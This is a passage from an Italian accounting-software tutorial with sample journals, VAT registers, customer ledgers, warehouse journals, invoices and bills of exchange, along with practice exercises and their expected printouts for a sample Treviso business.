15-01-2010	2	FNC	1	Alberoni & C.	2.000,00	200,00	0,00	2.200,00

CONFERMA

127.7.8 Giornale di contabilità generale

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

Selezione per la visualizzazione e/o la stampa dei Libro giornale

Stampa definitiva	☐	N. pagina iniziale	1
Dare (inizio)	0	Avere (inizio)	0
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Numero righe:	9		
Totale Dare	11.511,80	Totale Avere	11.511,80
		Indietro — STAMPA !	stampa la copertina -> ☐

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2010/1

Libro Giornale dal 01-01-2010 al 31-01-2010

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	11-01-2010	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	4.655,90	
2		n.1/1 del 11-01-2010	420000006	Merci c/vendite		4.000,00
3			215000001	IVA ns/debito		600,00
4			420000003	Rimborsi costi di vendita		55,90
5	11-01-2010	EMESSA CAMBIALE TRATTA	103000001	Alberoni & C.		4.655,90
6		n.1/1 del 11-01-2010	105000007	Cambiali all'incasso	4.655,90	
7	15-01-2010	NOTA CREDITO A CLIENTE	103000001	Alberoni & C.		2.200,00
8		n.1/1 del 15-01-2010	420000010	Resi su vendite	2.000,00	
9			215000001	IVA ns/debito	200,00	
TOTALI :					11.511,80	

127.7.9 Registro IVA delle vendite

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

Selezione per la visualizzazzione e/o la stampa dei registri IVA

Registro IVA da stampare:	Fatture di Vendita	Sezione IVA	1
N. pagina iniziale	1	Stampa definitiva	☐
Descrizione	del mese di Gennaio 2010		
Data registrazione inizio	1 Gennaio 2010		
Data registrazione fine	31 Gennaio 2010		
Regime	Contabilità ordinaria	Stampa la copertina	☐
Indietro			ANTEPRIMA

Protocollo	Data - ID movimento	Descrizione documento	Cliente o Fornitore	Imponibile	Aliquota	Imposta
1	11-01-2010 id 2	FATTURA IMMEDIATA A CLIENTE n.1 di 11-01-2010	Alberoni & C.	55,90	0.0	0,00
1	11-01-2010 id 2	FATTURA IMMEDIATA A CLIENTE n.1 di 11-01-2010	Alberoni & C.	2.000,00	20.0	400,00
1	11-01-2010 id 2	FATTURA IMMEDIATA A CLIENTE n.1 di 11-01-2010	Alberoni & C.	2.000,00	10.0	200,00
2	15-01-2010 id 4	NOTA CREDITO A CLIENTE n.1 di 15-01-2010	Alberoni & C.	-2.000,00	10.0	-200,00
			TOTALE ESCLUSA art. 15	55,90	0.0%	0,00
			TOTALE IVA al 20%	2.000,00	20.0%	400,00
			TOTALE IVA al 10%	0,00	10.0%	0,00
		TOTALE GENERALE	2.455,90	2.055,90		400,00

STAMPA

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2010/1

Registro delle fatture di vendita del mese di Gennaio 2010

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
1	11-01-2010	1	11-01-2010	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	2.000,00	20,00%	400,00	2.400,00
			cod. 2	IVA al 10%	2.000,00	10,00%	200,00	2.200,00
			cod. 4	ESCLUSA art. 15	55,90	0,00%	0,00	55,90
2	15-01-2010	1	15-01-2010	Alberoni & C.				
		NOTA CREDITO A CLIENTE	cod. 2	IVA al 10%	-2.000,00	10,00%	-200,00	-2.200,00

RIEPILOGO TOTALI PER ALIQUOTE

cod	descrizione	imponibile	%	imposta	totale
1	IVA al 20%	2.000,00	20.0%	400,00	2.400,00
2	IVA al 10%	0,00	10.0%	0,00	0,00
4	ESCLUSA art. 15	55,90	0.0%	0,00	55,90
	TOTALE GENERALE	2.055,90		400,00	

127.7.10 Partitario clienti

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

Nuovo conto
Visualizza/stampa partitari

un nuovo movimento contabile
a dei Movimenti Contabili
Num. record = 3

Causale contabile: Cerca | Mostra tutti

N.	Data di registrazione	Causale contabile	Descrizione	Protocollo	Numero	Importo	Elimina
4	15-01-2010	FNC	NOTA CREDITO A CLIENTE	2/1	1	2.200,00	✗
3	11-01-2010	TRA	EMESSA CAMBIALE TRATTA	2/1	1	4.655,90	✗
2	11-01-2010	FAI	FATTURA IMMEDIATA A CLIENTE	1/1	1	4.655,90	✗

Contabilità | Prima Nota | Piano dei conti | Causali Contabili | Registri IVA | Liquidazione IVA | Libro Giornale

Selezione per la visualizzazione e/o la stampa dei partitari

Data di stampa	31 Gennaio 2010
Mastro inizio	103-CREDITI V/CLIENTI
Conto inizio	Alberoni & C.
Mastro fine	103-CREDITI V/CLIENTI
Conto fine	Alberoni & C.
Data registrazione inizio	1 Gennaio 2010
Data registrazione fine	31 Gennaio 2010
Indietro	ANTEPRIMA

Seleziona tutto

Data	ID	Descrizione	N.Doc.	Data Doc.	Dare	Avere	Saldo progressivo
2010-01-11	2	FATTURA IMMEDIATA A CLIENTE	1	2010-01-11	4.655,90	0,00	4.655,90
2010-01-11	3	EMESSA CAMBIALE TRATTA	1	2010-01-11	0,00	4.655,90	0,00
2010-01-15	4	NOTA CREDITO A CLIENTE	1	2010-01-15	0,00	2.200,00	-2.200,00

STAMPA

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 31 Gennaio 2010

Descrizione	Numero Conto
Alberoni & C.	103000001

PARTITARIO dal 01-01-2010 al 31-01-2010

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
11-01-2010	FATTURA IMMEDIATA A CLIENTE	sez.1 p.1 n.1 del 11-01-2010	4.655,90		4.655,90
11-01-2010	EMESSA CAMBIALE TRATTA	sez.1 p.2 n.1 del 11-01-2010		4.655,90	0,00
15-01-2010	NOTA CREDITO A CLIENTE	sez.1 p.2 n.1 del 15-01-2010		2.200,00	-2.200,00
				SALDO al 31-01-2010 :	

127.7.11 Giornale di magazzino

L'emissione della fattura immediata e della nota di accredito per reso di merce, hanno prodotto automaticamente le scritture relative nel giornale di magazzino, senza bisogno di richiederlo espressamente, come invece è avvenuto per la contabilità generale.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserisci movime... — Nuovo movimento di magazzino — ...a movimenti da documenti
Stampa scheda... — Stampa schedari articoli di magazzino — ...pa giornale di magazzino
Stampa giornale di magazzino
Genera movimenti di magazzino

Causale : Cerca Mostra tutti

n.ID	Data reg.	Causale	Documento	Articolo	Quantità	Importo	Elimina
8	15-01-2010	2 - CARICO PER RESO DA CLIENTE	Nota Credito a Cliente n.1 prot.2/1 del 15-01-2010	HKING	100	2.000,00	X
6	11-01-2010	1 - SCARICO PER VENDITA	Fattura Immediata n.1 prot.1/1 del 11-01-2010	NOTETRACK	100	2.000,00	X
5	11-01-2010	1 - SCARICO PER VENDITA	Fattura Immediata n.1 prot.1/1 del 11-01-2010	HKING	100	2.000,00	X

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Selezione per la visualizzazione e/o la stampa del giornale di magazzino

Data di stampa	31 Gennaio 2010
Data registrazione inizio	1 Gennaio 2010
Data registrazione fine	31 Gennaio 2010
Indietro	ANTEPRIMA

Data	Causale	Descrizione documento	Prezzo	Valore	UM	Quantità
11-01-2010	1-SCARICO PER VENDITA	Fattura Immediata n.1 prot.1/1 del 11-01-2010 - Alberoni & C.	20,00	2.000,00	pz	-100
11-01-2010	1-SCARICO PER VENDITA	Fattura Immediata n.1 prot.1/1 del 11-01-2010 - Alberoni & C.	20,00	2.000,00	pz	-100
15-01-2010	2-CARICO PER RESO DA C	Nota Credito a Cliente n.1 prot.2/1 del 15-01-2010 - Alberoni & C.	20,00	2.000,00	pz	100

STAMPA

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 31 Gennaio 2010

GIORNALE DI MAGAZZINO dal 01 gennaio 2010 al 31 gennaio 2010

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
11-01-2010	1-SCARICO PER VENDITA	NOTETRACK - Zaino per notebook	Fattura Immediata n.1 prot.1/1 del 11-01-2010	20,00	2.000,00	pz	-100
11-01-2010	1-SCARICO PER VENDITA	HKING - Pappa reale pura 10 g	Fattura Immediata n.1 prot.1/1 del 11-01-2010	20,00	2.000,00	pz	-100
15-01-2010	2-CARICO PER RESO DA CLI	HKING - Pappa reale pura 10 g	Nota Credito a Cliente n.1 prot.2/1 del 15-01-2010	20,00	2.000,00	pz	

127.8 Verifica sulla gestione dei documenti della vendita (vend2)

Si eseguono le operazioni seguenti, tenendo presente che non si addebitano le spese di incasso degli effetti.

- **10 novembre**

  Si emette fattura per vendita al cliente Alberoni di 100 borse per notebook al prezzo di listino, che inizialmente è di 10,00 € per unità. Il pagamento previsto è con rimessa diretta a 30 giorni dalla data della fattura.

- **11 novembre**

  Si emette fattura per vendita al cliente Alberoni di 200 borse per notebook al prezzo di listino, con uno sconto del 2 %. Il pagamento previsto è lo stesso della fattura precedente.

- **12 novembre**

  Si emette fattura per vendita al cliente Alberoni di 300 borse per notebook al prezzo di listino, con uno sconto del 3 %. Per il pagamento, viene emessa una cambiale tratta a 30 giorni dalla data della fattura.

- **15 novembre**

  Si emette nota di accredito per reso dal cliente Alberoni di 50 borse per notebook risultate difettose. La nota di accredito si riferisce alla fattura del 11 novembre, pertanto si riproduce lo stesso sconto che lì era stato applicato; tuttavia, nel tipo di pagamento si indica il tipo nullo, a cui corrisponde la descrizione «−−».

- **30 novembre**

  Si emette la cambiale tratta e la distinta effetti, relative alla fattura del 12 novembre.

- **30 novembre**

  Si aggiorna la contabilità generale per i documenti emessi: fatture, nota di accredito e cambiale tratta. Quindi si stampa il giornale di contabilità generale.

- **30 novembre**

  Si stampa il registro IVA delle vendite del mese di novembre.

- **30 novembre**

  Si stampa la scheda del cliente Alberoni.

- **30 novembre**

  Si stampa il giornale di magazzino del mese di novembre, verificandone la coerenza con le operazioni precedenti.

Dopo averli controllati, si devono presentare i documenti seguenti:

1. fatture del 10, 11 e 12 novembre;
2. nota di accredito del 15 novembre;
3. cambiale tratta della fattura del 12 novembre;
4. il giornale di contabilità generale;
5. il registro IVA delle vendite;
6. la scheda del cliente Alberoni;
7. il giornale di magazzino.

Azienda...

(vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1 del 10 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTEBAG	Borsa per notebook	pz	100	10,00		1.000,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
1.000,00				1.000,00	200,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
	Imponibile	Aliquota	Imposta	
Rimessa diretta 30 g.d.f.	1.000,00	IVA al 20%	200,00	**€ 1.200,00**

Date di Scadenza e Importo Rate				Totale dei riporti
10-12-2009	--	--	--	
1.200,00				

Azienda...
(vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.2 del 11 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTEBAG	Borsa per notebook	pz	200	10,00	2,0	1.960,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
1.960,00				1.960,00	392,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
Rimessa diretta 30 g.d.f.	Imponibile	Aliquota	Imposta	**€ 2.352,00**
	1.960,00	IVA al 20%	392,00	

Date di Scadenza e Importo Rate				Totale dei riporti
11-12-2009	--	--	--	
2.352,00				

Azienda...
(vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.3 del 12 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTEBAG	Borsa per notebook	pz	300	10,00	3,0	2.910,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
2.910,00				2.910,00	582,00	42,45

Pagamento
Tratta 30 g.d.f.

Banca d'appoggio
Banca della valle
ABI 00000 CAB 0

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
2.910,00	IVA al 20%	582,00
42,45	ESCLUSA art. 15	0,00

TOTALE FATTURA

€ 3.534,45

Date di Scadenza e Importo Rate			
12-12-2009	--	--	--
3.534,45			

Totale dei riporti

Azienda...
(vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Nota di credito n.1 del 15 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTEBAG	Borsa per notebook	pz	50	10,00	2,0	490,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
490,00				490,00	98,00	

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
--	Imponibile	Aliquota	Imposta	€ 588,00
	490,00	IVA al 20%	98,00	

Date di Scadenza e Importo Rate				Totale dei riporti
15-11-2009	--	--	--	
588,00				

CAMBIALE TRATTA N. 1

Data di pagamento	12-12-2009	euro	€ 3534.45

Azienda... (vend2)
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

pagherete la somma di
€ tremilacinquecentotrentaquattro/45
alla spett.le Azienda... (vend2)

versata a mezzo

a SALDO della Ns. Fattura N. 3/1 del 12-11-2009 di € 3534.45

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca della valle ABI 0 CAB 0 ()	Alberoni & C. piazza Tiritera, 28 50018 Scandicci (FI) P.I. 01720430485	firma bolli a tergo 42.95

Azienda... (vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Libro Giornale dal 01-11-2009 al 30-11-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	10-11-2009	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	1.200,00	
2		n.1/1 del 10-11-2009	420000006	Merci c/vendite		1.000,00
3			215000001	IVA ns/debito		200,00
4	11-11-2009	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	2.352,00	
5		n.2/1 del 11-11-2009	420000006	Merci c/vendite		1.960,00
6			215000001	IVA ns/debito		392,00
7	12-11-2009	FATTURA IMMEDIATA A CLIENTE	103000001	Alberoni & C.	3.534,45	
8		n.3/1 del 12-11-2009	420000006	Merci c/vendite		2.910,00
9			215000001	IVA ns/debito		582,00
10			420000003	Rimborsi costi di vendita		42,45
11	15-11-2009	NOTA CREDITO A CLIENTE	103000001	Alberoni & C.		588,00
12		n.1/1 del 15-11-2009	420000006	Merci c/vendite	490,00	
13			215000001	IVA ns/debito	98,00	
14	30-11-2009	EMESSA CAMBIALE TRATTA	103000001	Alberoni & C.		3.534,45
15		n.1/1 del 30-11-2009	105000007	Cambiali all'incasso	3.534,45	
TOTALI :					11.208,90	

Azienda... (vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2009/1

Registro delle fatture di vendita del mese di novembre 2009

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
1	10-11-2009	1	10-11-2009	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	1.000,00	20,00%	200,00	1.200,00
2	11-11-2009	2	11-11-2009	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	1.960,00	20,00%	392,00	2.352,00
3	12-11-2009	3	12-11-2009	Alberoni & C.				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	2.910,00	20,00%	582,00	3.492,00
			cod. 4	ESCLUSA art. 15	42,45	0,00%	0,00	42,45
4	15-11-2009	1	15-11-2009	Alberoni & C.				
		NOTA CREDITO A CLIENTE	cod. 1	IVA al 20%	-490,00	20,00%	-98,00	-588,00

RIEPILOGO TOTALI PER ALIQUOTE

cod	descrizione	imponibile	%	imposta	totale
1	IVA al 20%	5.380,00	20.0%	1.076,00	6.456,00
4	ESCLUSA art. 15	42,45	0.0%	0,00	42,45
TOTALE GENERALE		5.422,45		1.076,00	

Azienda... (vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 30 Novembre 2009

Descrizione	Numero Conto
Alberoni & C.	103000001

PARTITARIO dal 01-11-2009 al 30-11-2009

Data Reg.	Descrizione	N. - Data Doc.	Dare	Avere	SALDO
10-11-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.1 n.1 del 10-11-2009	1.200,00		1.200,00
11-11-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.2 n.2 del 11-11-2009	2.352,00		3.552,00
12-11-2009	FATTURA IMMEDIATA A CLIENTE	sez.1 p.3 n.3 del 12-11-2009	3.534,45		7.086,45
15-11-2009	NOTA CREDITO A CLIENTE	sez.1 p.4 n.1 del 15-11-2009		588,00	6.498,45
30-11-2009	EMESSA CAMBIALE TRATTA	sez.1 p.1 n.1 del 30-11-2009		3.534,45	2.964,00
				SALDO al 30-11-2009 :	

Azienda... (vend2)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 30 Novembre 2009

GIORNALE DI MAGAZZINO dal 01 novembre 2009 al 30 novembre 2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
10-11-2009	1-SCARICO PER VENDITA	NOTEBAG - Borsa per notebook	Fattura Immediata n.1 prot.1/1 del 10-11-2009	10,00	1.000,00	pz	-100
11-11-2009	1-SCARICO PER VENDITA	NOTEBAG - Borsa per notebook	Fattura Immediata n.2 prot.2/1 del 11-11-2009	10,00	1.960,00	pz	-200
12-11-2009	1-SCARICO PER VENDITA	NOTEBAG - Borsa per notebook	Fattura Immediata n.3 prot.3/1 del 12-11-2009	10,00	2.910,00	pz	-300
15-11-2009	2-CARICO PER RESO DA CLI	NOTEBAG - Borsa per notebook	Nota Credito a Cliente n.1 prot.4/1 del 15-11-2009	10,00	490,00	pz	50

127.9 Verifica sulla gestione dei documenti della vendita (vend3)

Si eseguono le operazioni seguenti, tenendo conto che non si addebitano le spese di incasso degli effetti (si veda eventualmente l'anagrafica azienda).

- **10 novembre**

  Si emette un documento di trasporto per vendita al cliente Alberoni di 20 teli copri monitor al prezzo di listino che inizialmente è di 5,00 € per unità. Il cliente preleva la merce dal nostro magazzino e provvede al trasporto con mezzi propri. Il pagamento previsto per la fattura che verrà emessa è con cambiale tratta a 30 giorni data fattura.

- **11 novembre**

  Si emette un documento di trasporto per vendita al cliente Alberoni di 100 porta CD/DVD a colonna, al prezzo di listino che inizialmente è di 10,00 € per unità. La consegna e il trasporto si svolgono con la stessa modalità del punto precedente. Il pagamento concordato con il cliente è lo stesso del punto precedente.

- **12 novembre**

  Si emette una fattura accompagnatoria per vendita al cliente Belletti Ugo di 300 borse per notebook al prezzo di listino, che inizialmente è di 20,00 € per unità. Il trasporto viene effettuato con mezzi nostri, fino al magazzino del cliente, addebitando spese di trasporto per 200,00 €. Il pagamento previsto è a vista fattura.

- **30 novembre**

  Si emettono le fatture differite relative ai documenti di trasporto emessi nel mese, oppure, in alternativa, una sola fattura riepilogativa.

- **30 novembre**

  Si aggiorna la contabilità generale per le fatture emesse.

- **30 novembre**

  Si emette la cambiale o le cambiali tratte previste e la distinta effetti relativa.

- **30 novembre**

  Si aggiornata la contabilità generale per l'emissione delle tratte e quindi si stampa il giornale.

- **30 novembre**

  Si stampa e si verifica il contenuto del giornale di magazzino.

Si devono presentare i documenti seguenti:

1. documento di trasporto del 10 novembre;
2. documento di trasporto del 11 novembre;
3. fattura accompagnatoria del 12 novembre;
4. fatture differite, o fattura riepilogativa, relativamente ai documenti di trasporto del 10 e 11 novembre;
5. cambiale o cambiali tratte;
6. giornale di contabilità generale;
7. registro IVA delle vendite;
8. giornale di magazzino.

Azienda...
(vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Documento di Trasporto n.1 del 10 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.
TELO	Telo copri monitor	pz	20	5,00	0.0

Agente	Peso netto	Peso lordo	N.colli	Volume
			20	

Pagamento - Banca
Tratta 30 g.d.f. Banca della valle

Spedizione	Vettore	Trasporto
A MEZZO DESTINATARIO		

Inizio trasporto	Firma vettore	Firma destinatario
data 10-12-2009 ora 09:41		

Azienda...
(vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Documento di Trasporto n.2 del 11 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.
CDTOWER	Porta CD/DVD a colonna	pz	100	10,00	0.0

Agente	Peso netto	Peso lordo	N.colli	Volume
			100	

Pagamento - Banca
Tratta 30 g.d.f. Banca della valle

Spedizione	Vettore	Trasporto
A MEZZO DESTINATARIO		

Inizio trasporto	Firma vettore	Firma destinatario
data 11-11-2009 ora 09:47		

Azienda...
(vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura immediata n.1 del 12 Novembre 2009
Pagina 1 di 1

Spett.le Belletti Ugo
via Terraglio, 78
31100 Treviso (TV)
C.F. e P.I. 02403210269

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
NOTEBAG	Borsa per notebook	pz	300	20,00		6.000,00	20,00

Agente	Peso netto	Peso lordo	N.colli	Volume
			100	

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
6.000,00			200,00	6.200,00	1.240,00	

Pagamento: Vista fattura

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
6.200,00	IVA al 20%	1.240,00

TOTALE FATTURA

€ 7.440,00

Date di Scadenza e Importo Rate

Spedizione: A MEZZO MITTENTE

Firma/vettore:

Inizio trasporto: 12.11.2009 ore 09:51

Firma destinatario

Azienda...
(vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel.
C.F. 80011540269 P.I. 80011540269

Fattura differita n.2 del 30 Novembre 2009
Pagina 1 di 1

Spett.le Alberoni & C.
piazza Tiritera, 28
50018 Scandicci (FI)
C.F. e P.I. 01720430485

Codice	Descrizione	U.m.	Quantit	Prezzo	%Sc.	Importo	%IVA
DA D.d.T. n. 1 del 10-11-2009							
TELO	Telo copri monitor	pz	20	5,00		100,00	20,00
DA D.d.T. n. 2 del 11-11-2009							
CDTOWER	Porta CD/DVD a colonna	pz	100	10,00		1.000,00	20,00

Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
1.100,00				1.100,00	220,00	16,05

Pagamento	Castelletto I.V.A.			TOTALE FATTURA
Tratta 30 g.d.f.	Imponibile	Aliquota	Imposta	€ 1.336,05
	1.100,00	IVA al 20%	220,00	
	16,05	ESCLUSA art. 15	0,00	
Banca d'appoggio				
Banca della valle				
ABI 00000 CAB 0				

Date di Scadenza e Importo Rate				Totale dei riporti
30-12-2009	--	--	--	
1.336,05				

Azienda... (vend3)
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

CAMBIALE TRATTA N. 1

Data di pagamento	**30-12-2009**	**euro**	**€ 1336.05**

pagherete la somma di
€ milletrecentotrentasei/05

alla spett.le Azienda... (vend3)

versata a mezzo

a SALDO della Ns. Fattura N. 2/1 del 30-11-2009 di € 1336.05

INCASSARE TRAMITE	EGR.SIG./SPETT.LE	
Banca della valle ABI 0 CAB 0 ()	Alberoni & C. piazza Tiritera, 28 50018 Scandicci (FI) P.I. 01720430485	____________ firma bolli a tergo 16.25

Azienda... (vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 2009/1

Libro Giornale dal 01-11-2009 al 30-11-2009

Progr.	Data Reg.	Descrizione Operazione / Num. e Data Doc.	N.Conto	Nome Conto	Dare	Avere
1	12-11-2009	FATTURA IMMEDIATA A CLIENTE	103000002	Belletti Ugo	7.440,00	
2		n.1/1 del 12-11-2009	420000003	Rimborsi costi di vendita		200,00
3			420000006	Merci c/vendite		6.000,00
4			215000001	IVA ns/debito		1.240,00
5	30-11-2009	FATTURA DIFFERITA A CLIENTE	103000001	Alberoni & C.	1.336,05	
6		n.2/1 del 30-11-2009	420000006	Merci c/vendite		1.100,00
7			215000001	IVA ns/debito		220,00
8			420000003	Rimborsi costi di vendita		16,05
9	30-11-2009	EMESSA CAMBIALE TRATTA	103000001	Alberoni & C.		1.336,05
10		n.1/1 del 30-11-2009	105000007	Cambiali all'incasso	1.336,05	
TOTALI :					10.112,10	

Azienda... (vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Sezione IVA n.1 Pagina 2009/1

Registro delle fatture di vendita del mese di novembre 2009

N.Prot.	Data Reg.	N.Documento/Descr.	Data Doc.	Ragione Sociale Cliente	Imponibile	Perc.	Imposta	Totale
1	12-11-2009	1	12-11-2009	Belletti Ugo				
		FATTURA IMMEDIATA A CLIENTE	cod. 1	IVA al 20%	6.200,00	20,00%	1.240,00	7.440,00
2	30-11-2009	2	30-11-2009	Alberoni & C.				
		FATTURA DIFFERITA A CLIENTE	cod. 1	IVA al 20%	1.100,00	20,00%	220,00	1.320,00
			cod. 4	ESCLUSA art. 15	16,05	0,00%	0,00	16,05

RIEPILOGO TOTALI PER ALIQUOTE					
cod	**descrizione**	**imponibile**	**%**	**imposta**	**totale**
1	**IVA al 20%**	**7.300,00**	**20.0%**	**1.460,00**	**8.760,00**
4	**ESCLUSA art. 15**	**16,05**	**0.0%**	**0,00**	**16,05**
TOTALE GENERALE		**7.316,05**		**1.460,00**	

Azienda... (vend3)
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 30 Novembre 2009

GIORNALE DI MAGAZZINO dal 01 novembre 2009 al 30 novembre 2009

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
10-11-2009	1-SCARICO PER VENDITA	TELO - Telo copri monitor	D.d.T. di Vendita n.1 del 10-11-2009	5,00	100,00	pz	-20
11-11-2009	1-SCARICO PER VENDITA	CDTOWER - Porta CD/DVD a colonna	D.d.T. di Vendita n.2 del 11-11-2009	10,00	1.000,00	pz	-100
12-11-2009	1-SCARICO PER VENDITA	NOTEBAG - Borsa per notebook	Fattura Immediata n.1 prot.1/1 del 12-11-2009	20,00	6.000,00	pz	-300

127.10 Verifica integrata (int1)

Nell'azienda, avvengono i fatti seguenti, che devono essere gestiti per ciò che riguarda la contabilità generale, la contabilità di magazzino e la gestione delle vendite, secondo quanto già visto nei capitoli precedenti. Va tenuto in considerazione che non si addebitano le spese di incasso degli effetti.

- **2 gennaio**

  Si riscuote dal cliente Alberoni la somma di 1000,00 € in assegno che si versa immediatamente in banca.

- **2 gennaio**

  Si riceve dal fornitore Tutto hardware merce accompagata dal documento di trasporto seguente, che viene protocollato con il numero 1, essendo il primo DDT che si riceve nell'anno:

```
.--------------------------------------------------------------------------------.
| Tuttohardware                       | Spett.                                   |
| ...                                 | Ditta per le esercitazioni               |
|                                     | ...                                      |
|                                     | ...                                      |
|                                     | prot. 1                                  |
|--------------------------------------------------------------------------------|
| Documento di trasporto n. 7/   del 02-01-20..                                  |
|--------------------------------------------------------------------------------|
|codice| descrizione         | quantità | prezzo unitario                        |
|------|---------------------|----------|----------------------------------------|
| 77RT | luce per notebook   |      400 |                                  5,00 |
|      |                     |          |                                        |
|      |                     |          |                                        |
|      |                     |          |                                        |
|--------------------------------------------------------------------------------|
| Trasporto a cura del venditore        | Causale del trasporto: VENDITA         |
